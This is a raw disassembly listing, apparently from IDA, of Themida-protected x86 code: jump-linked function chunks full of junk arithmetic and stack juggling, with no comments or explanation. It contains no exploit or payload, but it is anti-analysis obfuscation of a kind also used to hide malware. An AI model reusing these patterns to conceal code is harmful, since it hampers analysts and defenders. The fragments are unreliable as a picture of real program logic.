sub_56B1DC loc_56033F: ; CODE XREF: sub_56B1DC-1E39j sub ebx, 0B39C1D8Ch mov edx, ebx pop ebx add esi, edx pop edx xchg esi, [esp+4+var_4] mov esp, [esp+4+var_4] jmp sub_5648C6 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_560356: ; CODE XREF: sub_574DC1+1BAj sub eax, ebp pop ebp add eax, 460060BDh add eax, ebx sub eax, 460060BDh add eax, 44B822D8h add eax, 59E23057h jmp loc_56C322 ; END OF FUNCTION CHUNK FOR sub_574DC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_560374: ; CODE XREF: sub_56FA15-A9DCj add dh, 43h xor dh, 73h jmp loc_566196 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572EDC loc_56037F: ; CODE XREF: sub_572EDC-6C7Bj pop eax jmp sub_56C4FF ; END OF FUNCTION CHUNK FOR sub_572EDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_560385: ; CODE XREF: sub_566B37+236Bj mov [esp+8+var_8], esi mov esi, 716D6E72h inc esi shl esi, 1 dec esi dec esi push ecx mov ecx, 5DD45CA1h jmp loc_574343 ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56039D: ; CODE XREF: sub_56CD13+3965j add ecx, edx jmp loc_56F734 ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5603A4: ; CODE XREF: sub_5678CB+D8D9j sub ebp, 2F22568h add esi, ebp pop ebp push edx mov edx, 4 sub esi, 6A3C18A1h sub esi, edx add esi, 6A3C18A1h pop edx xchg esi, [esp+4+var_4] jmp loc_56D3F0 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_5603CA: ; CODE XREF: sub_568646+9ECDj xor al, dl jmp loc_56A230 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_5603D1: ; CODE XREF: sub_56E126-919Aj pop esi jmp loc_569424 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_5603D7: ; CODE XREF: sub_56FD38-CB7Ej add ebx, 3B361397h add ebx, esi sub ebx, 3B361397h pop esi jmp sub_573B49 ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_5603EB: ; CODE XREF: sub_563DCB+31ADj pop ebx add ebx, ecx jmp loc_561126 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_5603F3: ; CODE XREF: sub_5747FA-BC6Cj sub eax, 24F96C1Ah sub eax, 73D75CB8h jmp loc_56FE7F ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570F0F loc_560402: ; CODE XREF: sub_570F0F-2B30j sub ebx, 2 xchg ebx, [esp+0] jmp loc_56F9A9 ; END OF FUNCTION CHUNK FOR sub_570F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_56040D: ; CODE XREF: sub_5653AD+EB1Dj mov edi, 2CB70840h or edi, 10350EAh inc edi xor edi, 43D7285Eh jmp loc_56E5D5 ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- loc_560424: ; CODE XREF: Themida_:00572B77j add esi, 4 xor esi, [esp] jmp loc_5649BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5631A3 loc_560432: ; CODE XREF: sub_5631A3+2935j push [esp+0Ch+var_8] pop edi jmp loc_560AEE ; END OF FUNCTION CHUNK FOR sub_5631A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56043C: ; CODE XREF: sub_568E5C+797Bj mov ebp, 0E5914DCh jmp loc_56F982 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_560446: ; CODE XREF: sub_571088-B1A8j xor cl, 0D8h jmp loc_57281E ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56044E: ; CODE XREF: sub_568764+Dj add esp, 4 push ebp jmp loc_565247 ; END OF FUNCTION CHUNK FOR sub_568764 ; =============== S U B R O U T I N E ======================================= sub_560457 proc near ; CODE XREF: sub_569CBC-2FD4j ; FUNCTION CHUNK AT 0056BA06 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0057448D SIZE 0000000C BYTES push ebp jmp loc_56BA06 sub_560457 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_56045D: ; CODE XREF: sub_56CC46-C96Dj pop edx add esi, edx add esi, 70B56022h mov edx, [esp+0] push edx jmp loc_574336 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_56046F: ; CODE XREF: sub_571289-2202j shr esi, 8 add esi, 30B85CF0h jmp loc_56C7F1 ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56047D: ; CODE XREF: sub_57354D-798Cj mov esp, [esp+4+var_4] push 748Ch mov [esp+0], ecx push 4E24h push esp pop [esp+8+var_8] sub esp, 4 mov [esp+8+var_8], ebx jmp loc_56FD54 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_56049F: ; CODE XREF: sub_5605BC+4EA3j mov [esp+0], ecx mov ecx, 28h add ecx, edi push dword ptr [ecx] mov eax, [esp+4+var_4] add esp, 4 push dword ptr [esp+0] push [esp+4+var_4] pop ecx push edx jmp loc_56EA4B ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_5604BE: ; CODE XREF: sub_567CFE+3518j not ecx xor ecx, 4C557540h or ecx, 6820652Fh jmp loc_561927 ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_5604D1: ; CODE XREF: sub_5754DA-1244Bj pop ebx inc bh push 0 sub [esp+0Eh+var_E], bh mov bh, [esp+0Eh+var_E] push ebp push esp pop ebp jmp loc_56C435 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_5604E7: ; CODE XREF: sub_564CDA+643Cj sub ebp, 578633E3h jmp loc_565726 ; END OF FUNCTION CHUNK FOR sub_564CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_5604F2: ; CODE XREF: sub_566AF9-65AFj pop ebp pop [esp+0Ch+var_C] mov esp, [esp+8+var_8] jmp loc_574A9A ; END OF FUNCTION CHUNK FOR sub_566AF9 ; =============== S U B R O U T I N E ======================================= sub_5604FE proc near ; DATA XREF: Themida_:0055FE8Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560A17 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00560DB9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00563C94 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00569572 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005695EC SIZE 00000037 BYTES ; FUNCTION CHUNK AT 00569D9D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056C080 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056C883 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D55B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056E319 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056F416 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056FB48 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056FEA3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00571444 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00573659 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057434B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00575079 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0057542D SIZE 0000000D BYTES mov ecx, [esp+0] push 5742h mov [esp+4+var_4], ecx jmp loc_575079 sub_5604FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56050E: ; CODE XREF: sub_56BD44-396Cj push eax jmp loc_5620FC ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_560514: ; CODE XREF: sub_5620B7-8Ej pop esp mov [esp+8+var_A+2], ebx push 6AE5h mov [esp], ecx jmp loc_56738C ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_560525: ; CODE XREF: sub_5606E3+6F42j xor ebp, 5B4D4427h add ebp, 0AAC2B878h jmp loc_56603F ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_560536: ; CODE XREF: sub_566AF9-2697j push esi mov esi, 353119F8h sub esi, 353119F6h add ebp, esi pop esi push ebp push [esp+0Ch+var_8] jmp loc_5604F2 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569B75 loc_56054F: ; CODE XREF: sub_569B75+938Aj xchg eax, [esp+0] pop esp push ebp mov ebp, esp add ebp, 4 push edi jmp loc_560C36 ; END OF FUNCTION CHUNK FOR sub_569B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_560562: ; CODE XREF: sub_567D31+7AE0j mov ecx, [esp+0] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_565B36 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_560576: ; CODE XREF: sub_564D26+9119j push edi push ebx push edi mov edi, 4 mov ebx, edi mov edi, [esp+18h+var_18] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+1Ch+var_1C] pop esp mov edi, ebx pop ebx mov ecx, edi jmp loc_5629B3 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56059D: ; CODE XREF: sub_56AEF2+3C8Fj mov ecx, esp jmp sub_570F0F ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_5605A4: ; CODE XREF: sub_56E0B0+71D8j pop eax pop [esp+0Ch+var_C] mov esp, [esp+8+var_8] mov [esp+4+var_4], esp push ecx jmp loc_5622EB ; --------------------------------------------------------------------------- loc_5605B4: ; CODE XREF: sub_56E0B0-7F64j add eax, esi pop esi jmp loc_56B924 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; =============== S U B R O U T I N E ======================================= sub_5605BC proc near ; CODE XREF: sub_56616D-3134j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056049F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005605EC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005609EA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005615A4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00561773 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005626D6 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00562EEF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00563F70 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00564A71 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 0056543E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00565818 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565838 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566D34 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056700B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00567510 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00567856 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567B75 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056867C SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00569C42 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056A0A1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056B0C6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BF6A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C621 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 0056CF1B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056D012 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056E66A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056EA4B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056EC17 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056EF77 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056F4D7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056F773 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005700F3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00571B6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571BBA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00572AC6 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00572D1C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00573ECF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00574088 SIZE 00000024 BYTES push ebx mov ebx, esp sub esp, 4 mov [esp+10h+var_10], ebp jmp loc_56BF6A sub_5605BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_5605CD: ; CODE XREF: sub_571C0A-893Cj push 5293h mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax add eax, 4 add eax, 4 xor eax, [esp+0] jmp loc_57125C ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_5605EC: ; CODE XREF: sub_5605BC+C97Bj pop edi mov edi, ecx pop ecx jmp loc_56F4D7 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_5605F5: ; CODE XREF: sub_570FB7-B896j mov [esp+0], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_56E385 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_560609: ; CODE XREF: sub_569193+1E3Dj pop eax jmp loc_56ECA9 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA2B loc_56060F: ; CODE XREF: sub_56AA2B+786Cj xor ecx, 73BF6004h add ebx, ecx pop ecx xchg ebx, [esp+4+var_4] mov esp, [esp+4+var_4] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] pop esp jmp loc_5618BD ; END OF FUNCTION CHUNK FOR sub_56AA2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_560636: ; CODE XREF: sub_574949-677Dj xor al, cl push dword ptr [esp+0] push [esp+4+var_4] jmp loc_5692BF ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_560643: ; CODE XREF: sub_569FB8-48E4j pop esp xor bl, al movzx eax, al jmp loc_570A83 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56064E: ; CODE XREF: sub_574A21-11899j add ecx, eax jmp loc_563C2E ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_560655: ; CODE XREF: sub_566C83-429Dj add esp, 4 push eax mov eax, 29837412h add eax, 2DF004Eh add eax, 4A622E25h jmp loc_560007 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ED9 loc_560670: ; CODE XREF: sub_562ED9+6j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] jmp loc_572C06 ; END OF FUNCTION CHUNK FOR sub_562ED9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_560684: ; CODE XREF: sub_56AB5E-46F6j pop esp mov [esp+0Ch+var_C], edx jmp loc_56C8CE ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56068D: ; CODE XREF: sub_56BD44-5171j push edi push dword ptr [esp+4] pop edi pop [esp+4+var_4] jmp loc_565761 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564020 loc_56069B: ; CODE XREF: sub_564020+EC0Ej xor eax, 64CA0CA3h jmp loc_5703B6 ; END OF FUNCTION CHUNK FOR sub_564020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_5606A5: ; CODE XREF: sub_572E16-1051Ej sub [esp+14h+var_14], 234E325Dh pop edx add edx, 234E325Dh pop ebp sub edx, 70CF90C5h sub esi, 2A16773Ch sub esi, edx add esi, 2A16773Ch push [esp+0Ch+var_C] pop edx add esp, 4 sub eax, 1E390069h add eax, esi add eax, 1E390069h jmp loc_56F4BB ; END OF FUNCTION CHUNK FOR sub_572E16 ; =============== S U B R O U T I N E ======================================= sub_5606E3 proc near ; CODE XREF: sub_5747AF-E559j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560525 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00561F9C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005642D5 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00565E83 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056603F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567619 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056945B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056CCB7 SIZE 00000009 BYTES push ebp jmp loc_567619 sub_5606E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5606E9: ; CODE XREF: sub_5678CB+36E5j sub ch, 61h or dl, ch push dword ptr [esp+0] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_573569 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_560703: ; CODE XREF: sub_57354D-DD5j sub esi, ebx jmp loc_570EE1 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_56070A: ; CODE XREF: sub_5747FA-12A4Ej neg ebp xor ebp, 91C9488Bh mov edi, ebp pop ebp and edi, 204D1B78h push ebx mov ebx, 0A72354Ch sub ebx, 0F27BCE0Bh sub edi, ebx jmp loc_568B87 ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- loc_56072E: ; CODE XREF: Themida_:0057493Aj push 2FE0h jmp loc_562539 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_560738: ; CODE XREF: sub_571088-CE3Fj sub bl, ah push dword ptr [esp+0] jmp loc_5665AF ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_560742: ; CODE XREF: sub_5685B2-BA8j mov eax, 3A6615B1h mov edx, eax pop eax push ebx jmp loc_572E4C ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_560750: ; CODE XREF: sub_563A7F+7212j push dword ptr [edi+eax*4] push 7F70h mov [esp+8+var_8], esi jmp loc_56932E ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_560760: ; CODE XREF: sub_56241E+3913j and cx, 507Eh jmp loc_57543A ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_56076A: ; CODE XREF: sub_569E1B-6E0Ej sub al, 9Fh add al, dh push ebx mov bh, 9Fh add al, bh pop ebx pop edx sub al, 0C8h sub al, bl push small 3870h jmp loc_565F82 ; END OF FUNCTION CHUNK FOR sub_569E1B ; =============== S U B R O U T I N E ======================================= sub_560782 proc near ; DATA XREF: Themida_:0055FDC4o ; FUNCTION CHUNK AT 00568077 SIZE 00000005 BYTES pop dword ptr [edx] jmp loc_568077 sub_560782 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_560789: ; CODE XREF: sub_560CF1+98D5j push esp jmp loc_570005 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C295 loc_56078F: ; CODE XREF: sub_56C295+4374j mov ebp, 63D61E38h sub ebp, ebx pop ebx sub edi, 5C710A8Eh add edi, ebp add edi, 5C710A8Eh jmp loc_56E998 ; END OF FUNCTION CHUNK FOR sub_56C295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726FB loc_5607AA: ; CODE XREF: sub_5726FB-98B3j push dword ptr [esp+0] pop ecx push 7CAFh jmp loc_5724BB ; END OF FUNCTION CHUNK FOR sub_5726FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_5607B8: ; CODE XREF: sub_566DC7+6B8Cj add esi, ebp jmp loc_563CB9 ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_5607BF: ; CODE XREF: sub_56A608-5260j xor edx, ebp pop ebp sub ebx, 77145E64h sub ebx, edx add ebx, 77145E64h pop edx sub ebx, 32DA4E8Bh add ebx, eax push ecx jmp loc_564838 ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_5607DF: ; CODE XREF: sub_568646+1BFDj mov bl, 0Eh mov cl, bl pop ebx jmp loc_56955D ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57199D loc_5607E9: ; CODE XREF: sub_57199D+2B61j not eax push ebx push eax pop ebx pop eax xchg esi, ebx not esi push ebx sub esp, 4 mov [esp+10h+var_10], esi pop ebx pop esi jmp loc_5735DA ; END OF FUNCTION CHUNK FOR sub_57199D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_560804: ; CODE XREF: sub_56EE9F-651Bj mov ebp, [esp+0] push 622Dh mov [esp+4+var_4], ecx push ecx mov ecx, esp push edx mov edx, 4 jmp loc_56AD87 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C4FF loc_56081D: ; CODE XREF: sub_56C4FF+5FF8j push ecx mov ecx, 41B470A3h and ebp, ecx pop ecx push ecx mov ecx, 14407E80h push ecx not [esp+8+var_8] pop ecx push edx mov edx, 0 add edx, 6C3E1462h sub edx, ecx jmp loc_566D0E ; END OF FUNCTION CHUNK FOR sub_56C4FF ; =============== S U B R O U T I N E ======================================= sub_560844 proc near ; DATA XREF: Themida_:0055FEC8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560203 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00560BE4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00564D9D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00564F4E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00565425 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00566DDB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056760D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00568334 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00568932 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00568A9B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00569144 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005698FC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C56B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056CF3C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D823 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056E5A4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00570CA7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005718B8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572D35 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00573BEC SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00574039 SIZE 0000000F BYTES lodsd add eax, 1A4446C0h sub eax, 2C2D63BBh add eax, ebx sub esp, 4 mov [esp+4+var_4], edx push 2C2D63BBh pop edx add eax, edx pop edx push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] pop esp jmp loc_5718B8 sub_560844 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_56087B: ; CODE XREF: sub_56E05C-8DE4j add ebp, 9A3F4E94h sub eax, ebp pop ebp push eax push [esp+8+var_4] pop eax jmp loc_56343E ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_56088F: ; CODE XREF: sub_56D464+6j mov [esp+4+var_4], eax push 400h jmp loc_5618C7 ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_56089C: ; CODE XREF: sub_56FD97-9F88j mov [esp+4+var_4], ebp push 23Ah mov [esp+8+var_8], edx pop ebp mov edx, [esp+4+var_4] add esp, 4 push ebp mov ebp, 0FFFFFFFFh add edx, 32735B14h add edx, ebp sub edx, 32735B14h push [esp+4+var_4] pop ebp push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56B3AA ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_5608DA: ; CODE XREF: sub_56102D+E155j mov [esp+0], edi push edx jmp loc_563875 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_5608E3: ; CODE XREF: sub_570CE4-A6CAj xchg ecx, [esp+14h+var_14] jmp loc_569EE0 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5729F9 loc_5608EB: ; CODE XREF: sub_5729F9-320Cj shl bh, 8 shl bh, 3 jmp loc_56807C ; END OF FUNCTION CHUNK FOR sub_5729F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_5608F6: ; CODE XREF: sub_56DA43+1E18j pop ebp add esp, 4 add edx, 4 xchg edx, [esp+0] pop esp push [esp-4+arg_0] push dword ptr [esp+0] push [esp+4+var_4] jmp loc_562E5C ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_560912: ; CODE XREF: sub_561027+C8C8j mov edi, 4 add ebx, edi mov edi, [esp+0] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], ebx jmp loc_56C283 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_560937: ; CODE XREF: sub_56C83E-18F1j mov [esp+0], ebp sub esp, 4 jmp loc_5735FF ; END OF FUNCTION CHUNK FOR sub_56C83E ; 